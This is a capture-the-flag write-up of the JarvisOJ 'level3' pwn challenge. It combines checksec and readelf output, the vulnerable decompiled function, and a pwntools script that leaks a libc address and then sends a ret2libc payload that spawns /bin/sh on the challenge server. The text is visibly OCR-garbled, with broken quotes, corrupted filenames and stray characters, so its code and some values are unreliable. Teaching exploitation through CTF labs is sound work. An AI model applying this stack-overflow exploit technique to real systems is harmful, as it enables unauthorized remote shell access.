Writeup of level3(Pwn) in JarvisOJ
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root@kali:~/Desktop/Pwn/level3# checksec level3
[*] '/root/Desktop/Pwn/level3/level3’

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled

PIE: No PIE (@x8048000)

root@kali:~/Desktop/Pwn/level3# checksec libc-2.19.so0
[*] '/root/Desktop/Pwn/level3/libc-2.19.s0"'

Arch: i386-32-1little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
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0x01 exp logic

FHIDAFT FFlevel3, Ei&Fi84%

int __cdecl main(int argc, const char **argv, const char **envp)
{

vulnerable_function();

write(1l, "Hello, World!\n", ©xEu);

return 0;

}
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ssize_t vulnerable_function()

{
char buf; // [sp+6h] [bp-88h]@l

write(1, "Input:\n", 7u);
return read(0, &buf, 0x100u);
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root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so |grep "read@"

571: 000daf60 125 FUNC WEAK DEFAULT 12 _ read@@GLIBC_2.0

705: 0006220 58 FUNC GLOBAL DEFAULT 12 _IO file read@@GLIBC 2.0

950: 000daf6e 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0

1166: 000e0c40@ 1461 FUNC GLOBAL DEFAULT 12 fts_read@@GLIBC_2.0

1263: 000ec390 46 FUNC GLOBAL DEFAULT 12 eventfd_read@@GLIBC_2.7

1698: 00064320 259 FUNC WEAK DEFAULT 12 fread@@GLIBC_ 2.0

2181: 000c3030 204 FUNC WEAK  DEFAULT 12 pread@@GLIBC_2.1

2300: 000643a0 259 FUNC GLOBAL DEFAULT 12 _IO fread@@GLIBC_ 2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so0 |grep "system@"

620: 00040310 56 FUNC GLOBAL DEFAULT 12 _ libc_system@@GLIBC_PRIVATE

1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
root@kali:~/Desktop/Pwn/level3# readelf -a ./libc-2.19.so0 |grep "exit@"

111: 00033690 58 FUNC GLOBAL DEFAULT 12 _ cxa_at_quick exit@@GLIBC_2.10

139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0

554: 000b5f24 24 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0

609: 0011c2a0 56 FUNC GLOBAL DEFAULT 12 svc_exit@@GLIBC_2.0

645: 00033660 45 FUNC GLOBAL DEFAULT 12 quick_exit@@GLIBC_2.10

868: 00033490 84 FUNC GLOBAL DEFAULT 12 _ cxa_atexit@@GLIBC_2.1.3

1037: 00126800 60 FUNC GLOBAL DEFAULT 12 atexit@GLIBC_2.0

1492: 00019160 62 FUNC GLOBAL DEFAULT 12 pthread_exit@@GLIBC_2.0

2243: 00033290 77 FUNC WEAK DEFAULT 12 on_exit@@GLIBC_2.0

2386: 000f9cdo 2 FUNC GLOBAL DEFAULT 12 _ cyg profile_ func_exit@@GLIBC_2.2
root@kali:~/Desktop/Pwn/level3# strings -a -t x ./libc-2.19.so | grep "/bin/sh"
16084c /bin/sh
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950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0

16084c /bin/sh
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from pwn import *
r=remote( 'pwn2.jarvisoj.com',9879)
e=ELF('./level3")

plt_write=hex(e.plt['write'])

got_read=hex(e.got['read'])

vulfuncadr=hex(e.symbols[ 'vulnerable_ function'])
plt_write_args=p32(0x01)+p32(int(got_read,16))+p32(0x04)

#FA )T : funcl_address+func2_adress+...+funcl_argslist+func2_argslist+.
payloadl="A"'*(0x88+0x4)+p32(int(plt_write,16))+p32(int(vulfuncadr,16))+plt_write_args

r.recv()
r.send(payloadl)
readadr=hex(u32(r.recv()))#it & read4a st 1k

950: 000daf60 125 FUNC WEAK DEFAULT 12 read@@GLIBC_2.0
1443: 00040310 56 FUNC WEAK DEFAULT 12 system@@GLIBC_2.0
139: 00033260 45 FUNC GLOBAL DEFAULT 12 exit@@GLIBC_2.0

16084c /bin/sh
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libc_read=0x000DAF60

offset=int(readadr,16)-1libc_read #il& WM&
sysadr=offset+0x00040310 #systemix] il
xitadr=offset+0x00033260 #exitixtihhl
bshadr=offset+0x0016084C #binshixtihil
payload2="A"'*(0x88+0x4)+p32(sysadr)+p32(xitadr)+p32(bshadr)

r.send(payload2)
r.interactive()
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0x03 Notes
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